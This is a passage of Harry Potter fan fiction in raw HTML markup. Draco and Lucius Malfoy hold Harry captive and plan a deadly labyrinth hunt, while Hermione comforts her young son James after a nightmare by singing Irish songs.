love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sat there looking at his\nenemy, &#8216;Draco? Love? Is that possible?&#8217; &#8220;What do you have to say?&#8221; Harry\nfinally gave in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Draco grinned, as he looked at Harry,\n&#8220;Good boy.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He untied Harry and let him stretch\nand move around Harry grabbed his shoulder how stiff and sore it was.&nbsp; Harry looked around the room somehow it\nlooked so familiar like he&#8217;d been her before.&nbsp;\nIt was so familiar it was scary.&nbsp;\nWhere was he?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where am I?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco laughed a bit, &#8220;I was waiting\nfor you to ask.&nbsp; You have memories of\nthis place don&#8217;t you? Almost like you have been here before.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&#8221; Harry said traced by the\nplace.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Take a look around and see what you\nfind&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry walked around the living room;\nit was nice and home like.&nbsp; There was a\ncouch that was dark green with two matching chairs, a fireplace in front of\nthat and a coffee table in the center.&nbsp;\nNext to that room was a wall unit where a T.V and stereo system\nsat.&nbsp; He walked into the hall where the\nstairs where leading to the upstairs.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At the base of the stairs at the top\nwas the first room where there was a four-poster bed fit for two with oak\nfurniture. He walked around the room; it had an attaching bathroom that had\nlooked like it was made of marble.&nbsp; He\nwalked back into the main room and felt the black silk sheets on the bed and a\nbear on the top resting against the pillows. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The next room was what looked like a\nplayroom.&nbsp; There was a chest with toys\nfalling out of it and small gadgets and knick-knacks.&nbsp; A small couch sat by the wall and a tiny desk in the corner with\ncrayons and paper spread across it.&nbsp;\nHarry walked up to it and looked at the pictures.&nbsp; They were nothing but scribbles but the\ncloser he looked at it; it looked like the one scribble mark was holding\nanother smaller scribble mark.&nbsp; He set\nit down and left the room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">When he left he saw Lucius and Draco\nwalking up to him, &#8220;Have a clue yet?&#8221; Draco asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;No&#8221; Was all Harry could thing of to\nsay.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Well then, the next room should give\nyou every hint you need to know.&#8221; Lucius said laughing.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry walked to the closed door\nthinking about what he might find, a portal or a trap that could kill him by\njust opening the door. He put his hand on the handle and turned the knob.&nbsp; The door swung open and all Harry could see\nwas a green flash and a pull at his navel. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The next thing Harry could see was an\nimage that he knew so well from his dreams.&nbsp;\nHis mother was holding him tight to her, petting his messy baby\nhair.&nbsp; Then he heard the scream from\ndownstairs, he only knew what it could be and it scared him to death.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">His mother sat there kissing him and\nholding him, knowing what is going to happen.&nbsp;\nSoftly she began to sing to him:</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">When Irish eyes are smiling</p>\n\n<p class="MsoBodyTextIndent"><br>\nSure it\'s like a morning spring.</p>\n\n<p class="MsoBodyTextIndent"><br>\nIn the lilt of Irish laughter,</p>\n\n<p class="MsoBodyTextIndent"><br>\nyou can hear the angels sing.</p>\n\n<p class="MsoBodyTextIndent"><br>\nWhen Irish hearts are happy,</p>\n\n<p class="MsoBodyTextIndent"><br>\nall the world seems bright and gay.</p>\n\n<p class="MsoBodyTextIndent"><br>\nAnd when Irish eyes are smiling,</p>\n\n<p class="MsoBodyTextIndent"><br>\nsure, they steal your heart away.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">He sang with his mother &#8216;I remember that song&#8217; he thought.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Then you heard it; the doorknob started to turn but the\ndoor wouldn&#8217;t open.&nbsp; Lily looked down at\nher baby son, &#8220;You&#8217;re my baby boy so beautiful, Never let the bad things change\nyour good soul, All I want of you is to be good and kind to others, and never\nthink your disappointing your father and myself, you can never do that&#8230;&#8221;</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Harry looked a the site in front of him, it made him tear\nup to see the love and tender feeling his mother gave off; Such a warm\natmosphere at a point of mass destruction. She started to cry as she started to\nsing the song again, but only half way threw it when the door exploded and the\nhooded figure of Lord Voldemorte stood looking at her.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Let me have him Lily&#8230;&#8221; He hissed.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;No, I won&#8217;t let you kill him, you&#8217;ll have to kill me\nfirst!&#8221; She screamed back.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">As much as Harry knew that there was no stopping this, he\nstill yelled for it to end and have Voldemorte leave and let her live.&nbsp; He screamed &#8220;NO LEAVE HER ALONE!&#8221; but he\nknew he couldn&#8217;t be heard.&nbsp; Tears were\nrunning down his face seeing his mother screaming for mercy but it was no use\nhe knew her fait. The next thing to be seen was the gallant flash of green\nlight and the piercing scream of Lily Potter.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Harry fell to the ground as the flash back was over and he\nwas brought back to the calm and quiet room he should have been in.&nbsp; Draco stood in the doorway with his arms\ncrossed over his arms smiling like he had just won the World Cup.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Why did you bring me here?&#8221; He asked clutching his knees\nas he tried to calm down.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;I told you Harry, it&#8217;s all part of my payback to the pain\nand aggravation you caused me.&#8221; Draco said simply.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Know what are you going to kill me?&#8221; He asked looking up\nat Draco with red puffy eyes.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;No, not yet anyway, that wouldn&#8217;t mind you as much as what\nI have in store for you. Actually I think by the time were finished you&#8217;ll wish\nyou were dead.&#8221; Draco walked into the room, &#8220;You might want to get some sleep,\nyou have a very <i>long </i>day tomorrow,\nwouldn&#8217;t want you tired before you should be.&#8221; Draco then walked out closing\nthe door.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Harry stood and looked around the room, <i>HIS </i>old room that he should have\nhad.&nbsp; He was dizzy and hungry, but he\nfigured Draco wouldn&#8217;t feed him.&nbsp; </p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Lucius then opened the door and handed him a plate with\nbread and water, &#8220;Enjoy.&#8221; And walked back out again.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;I&#8217;m not stupid Malfoy&#8230;I&#8217;m ready for you at any time no\nmatter what you have in store for me.&#8221; He walked to the bedroom door and closed\nit.&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">*********</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">James jolted awake with a start, He had a dream about his\nfather&#8230; he was with two men but he couldn&#8217;t remember who they were.&nbsp; He saw things that scared him a lot and he\ncouldn&#8217;t even remember them.&nbsp; He looked\nat his bedside clock it read 3:01 am.&nbsp; </p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">It was very early and he was scared to go back to\nsleep.&nbsp; He got out of his bed and went\nto Chris&#8217;s room to see if he could sleep with him, but he wasn&#8217;t in there.&nbsp; He was probably downstairs asleep and Ste\nand Kat were down there with him.&nbsp; </p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">He didn&#8217;t want to wake them up because of him so he walked\ndown the hall to his mother.&nbsp; In the\nguest room next to her she heard the sounds of his Uncle Ron snoring, that it\nself was scary.&nbsp; He ran into his\nmother&#8217;s room and saw her asleep in her bed with her hand on the empty pillow\nnext to her.&nbsp; He climbed on the bed and\ncrawled over to her and shook her shoulder.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">Hermione stirred and opened the slits of her eyes to see\nwho it was.&nbsp; She saw a small figure\nwhispering &#8216;mum&#8217;.&nbsp; She opened her eyes\nall the way and looked at her youngest son.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;James, why are you up?&#8221; She asked sitting up on her side\npropped up be her left arm.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;I had a dream, it scared me and I couldn&#8217;t sleep.&#8221; He\nexplained.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;What was it about?&#8221; she asked interested.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Dad, he was with people and I saw something&#8230; but I can&#8217;t\nremember what it was&#8230; I saw a lot of green though.&#8221; He looked at his mother,\n&#8220;Mum, I was wondering if I could sleep with you, I don&#8217;t know if I could fall\nback to sleep by myself.&#8221;</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Of course you can,&#8221; She pulled down the blankets for her\nson to crawl into and curl up next to her.&nbsp;\nShe put and an arm around him and kissed his head, &#8220;Now you can only\nhave good dreams.&#8221;&nbsp; She closed her eyes.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">James&#8217;s remained open, &#8220;Mum&#8230;&#8221; he said</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Mmm?&#8221; She hummed out.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Could you sing that song you used to sing to me when I had\nnightmares?&#8221;</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent">&#8220;Ok.&#8221; Hermione hummed softly&#8230;<br>\n<br>\n&#8221;An Irish boy was leaving,</p>\n\n<p class="MsoBodyTextIndent"><br>\nLeaving his native home,</p>\n\n<p class="MsoBodyTextIndent"><br>\nCrossing the broad Atlantic,</p>\n\n<p class="MsoBodyTextIndent"><br>\nOnce more he wished to roam,</p>\n\n<p class="MsoBodyTextIndent"><br>\nAnd as he was leaving his mother,</p>\n\n<p class="MsoBodyTextIndent"><br>\nWho was standing on the quay,</p>\n\n<p class="MsoBodyTextIndent"><br>\nShe threw her arms around his waist,</p>\n\n<p class="MsoBodyTextIndent"><br>\nAnd this to him did say,</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoBodyTextIndent"><i>A mother\'s\nlove\'s a blessing,<br>\nNo matter where you roam,</i></p>\n\n<p class="MsoBodyTextIndent"><i><br>\nKeep her while she\'s living,</i></p>\n\n<p class="MsoBodyTextIndent"><i><br>\nYou\'ll miss her when she\'s gone,</i></p>\n\n<p class="MsoBodyTextIndent"><i><br>\nLove her as in childhood,</i></p>\n\n<p class="MsoBodyTextIndent"><i><br>\nThough feeble, old and gray,</i></p>\n\n<p class="MsoBodyTextIndent"><i><br>\nFor you\'ll never miss a mother\'s love,</i></p>\n\n<p class="MsoBodyTextIndent"><i><br>\nTill she\'s buried beneath the clay.</i></p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoNormal">And as the years go onwards,</p>\n\n<p class="MsoNormal"><br>\nI\'ll settle down in life,</p>\n\n<p class="MsoNormal"><br>\nand choose a nice young colleen,</p>\n\n<p class="MsoNormal"><br>\nand take her for my wife,</p>\n\n<p class="MsoNormal"><br>\nand as the babes grow older,</p>\n\n<p class="MsoNormal"><br>\nand climb around my knee,</p>\n\n<p class="MsoNormal"><br>\nI\'ll teach them the very same lesson,</p>\n\n<p class="MsoNormal"><br>\nthat my mother taught to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nsang like an angel from heaven even when she was half asleep, James curled up\nnext to her as her soothing voice put him into a calm peaceful sleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~`*`~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The next morning Hermione woke up,\nshe looked down at her sleeping son.&nbsp;\nShe was about to wake him up but thought she should just let him\nsleep.&nbsp; She carefully got out of her bed\nand grabbed her robe and some cloths and headed for the shower.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris was lying on the couch\nsleeping when a soft voice started to say his name, &#8220;no, Dad no, I love Chris,\nyou can&#8217;t!&#8221; He looked down at her, she was having a nightmare, and &#8220;You can&#8217;t\nkill him I won&#8217;t let you!&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris shook her awake to make her\ndream go away, &#8220;Kat, Kaaat&#8221; He whispered in her ear.&nbsp; She stirred then her eyes fluttered open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Chris,&#8221; She breathed out, &#8220;Your&#8230;\nyour ok.&#8221; She put her hand on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I&#8217;m ok.&#8221; He bent down and\nkissed her forehead, &#8220;No ones going to hurt me don&#8217;t worry.&#8221; He took her hand\nand kissed it, &#8220;Are you ok?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now I am&#8230;&#8221; She smiled up at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you,&#8221; Chris whispered,\n&#8220;Always have since we were eleven.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She smiled and Chris could see a\ntear in her eye, &#8220;I love you too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris got up off the couch and\nhelped her up, &#8220;Come on lets go out for breakfast&#8230; just me and you.&#8221; She nodded\nwalked upstairs with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~`*`~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Get up.&#8221; Lucius said as he came\ninto Harry&#8217;s room, &#8220;Time to eat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stirred; it had been the worst\nnight of his life.&nbsp; The room was\nenchanted to give him nightmares about his parents and family, so he\nfigured.&nbsp; He got up and found another\nplate of bread and water on the dresser.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco was walked in a bit after\nLucius walked out.&nbsp; Harry looked up at\nhim scratching his head and rubbing the sleep out of his eyes.&nbsp; He looked at Draco and said, &#8220;Nice mix&#8230;\ntrying to get smashed at&#8230;&#8221; He looked at the clock on the wall, &#8220;9:00 in the\nmorning.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I try.&#8221; He shot back coolly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For once.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco shot out of his chair and\nright over to Harry, &#8220;I would watch your tong Potter, one spell and your dead,\nand no one would know you were here.&#8221; Draco gave a smile off, &#8220;Oh the joy of\nwatching you die, I have dreamed about it so often in my sleep.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s why they say only in your\ndreams Malfoy.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco struck him, &#8220;I can very easily\nturn a dream into a reality&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I would love to see you try.&#8221; Harry\nsneered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco had, had it; he jumped at\nHarry and started throwing one punch after another Harry returning the\nblows.&nbsp; They rolled around punching and\nkneeing each other, they didn&#8217;t stop until Lucius came in and kicked them both.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Draco, knock it off, both of you&#8230;\nhe will get his in a little while.&#8221; Lucius said pulling Draco off the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry father; won&#8217;t happen again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll make note of that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco sat up and wiped the blood\nfrom his cut lip, &#8220;Not bad Potter. I&#8217;ll be back, you&#8217;d better eat; you have a\nrough day ahead weather you like it or not.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry took the bread and bit into\nit, &#8220;Your plan won&#8217;t work you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;How can you be so sure of yourself?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t know half my life Draco,\nI&#8217;ve seen it all and I&#8217;m ready for it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I doubt you have been threw\nwhat your about to go threw.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What would that be?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, have you ever read <i>the most Dangerous Game</i>?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes I have, Hermione had me read it\nin 6th year when I was in the hospital wing. It&#8217;s a good short\nstory.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you know the basic concept of\nit?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, What are you getting at.&#8221; Harry\nwas confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well in the story Rainsford has to\nrun for his life to save his life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t mean&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, Harry, but slightly\ndifferent.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sat back and drained this\nglass of water what ever was to come it wasn&#8217;t going to be good.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, this is a kind of maze&#8230; well\na large Labyrinth if you would call it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What would I have to do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s like this Potter,&#8221; Lucius\nsaid, &#8220;It&#8217;s like a series of challenges and stagiest.&nbsp; Our master used it on his weakest it was fun to hear their screams.&#8221;\nLucius had a chill.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;As he as saying. WE have worked out\na plan to challenge your best abilities-&#8220; He was cut off by his father.<br><br></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Shut up Draco, and talk only when\nspoken to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco looked taken aback by his\nfather, &#8220;You&#8217;re telling me to shut up?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lucius and Draco started to argue;\nHarry looked back and forth between them.&nbsp;\nHarry wasn&#8217;t sure if it was a good idea but it was the only thing he\ncould think of at the time.&nbsp; He ran out\nthe door as fast as he could, down the steps into the kitchen.&nbsp; He could hear Lucius yelling, &#8220;Get him\nDraco.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had to think fast, he ran to\nthe back door and ran out it.&nbsp; He ran he\ndidn&#8217;t know where.&nbsp; The backyard was\nhuge but not much of a hiding spot anywhere.&nbsp;\nThe door opened and Draco was franticly searching for Harry.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He dove behind a bush just before\nDraco spotted him.&nbsp; Unfortunately Draco\nsuspected he didn&#8217;t go to far and took out his wand and said &#8220;lockus samilius&#8221;\nAnd his wand pointed him straight to Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 